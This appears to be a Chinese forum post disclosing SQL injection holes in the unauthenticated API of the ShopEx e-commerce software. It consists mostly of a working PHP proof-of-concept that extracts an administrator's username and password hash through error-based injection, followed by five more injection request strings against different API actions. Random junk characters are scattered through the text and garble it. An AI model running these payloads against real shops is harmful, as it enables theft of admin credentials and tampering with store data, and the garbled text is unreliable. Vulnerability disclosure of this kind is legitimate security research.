|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
- _$ L4 q7 h; x4 u4 |3 Hcore\api\payment\1.0\api_b2b_2_0_payment_cfg.php
d1 p9 P$ ~* Q2 A" }
) }8 X5 m! }5 g第44行 $data['columns'] 未做过滤导致注入
: n0 U0 z V# j+ }
4 F: x" M+ r3 X8 J- ]- h8 t<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
( r% E4 z: g4 h, T
$ j6 [& ?/ `. q3 \注射1:3 B1 w2 R# p. X+ F5 J6 v
' g' j6 H0 Y1 w4 _2 K$ yhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
/ u4 D Y9 ?& Q7 n. C3 W! X/ ]* a" Q
注射2:
2 v1 B' O* O" Y0 Fhttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
* Z! d& F9 f' i# f: ?5 C7 h! D% }# L! E) `2 L: ~
注射3:- e9 r5 l& {: f: l6 g
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx, G7 W! [0 Z: L
注射4:/ `- x, y5 J9 b; f
$ q m) ^3 x" y: O7 B3 I. s2 L
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
8 V! g0 F! O5 f [$ H" q6 K
2 m+ o! k% W1 t
0 V5 d$ l# l' |, e0 _注射5:9 K4 O+ f" @. S
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx6 Q6 w4 Y, N0 G$ X: {) I
1 H) p R$ H1 \( r
, p: c- g+ @5 s
( e' V0 v, I& \' x7 ~5 K$ Z0 ?9 x8 y$ c# e2 T
9 z. h+ `2 g* l9 B/ P9 L2 f( z
! q$ ^7 Q" W! A2 n. b4 W
|
|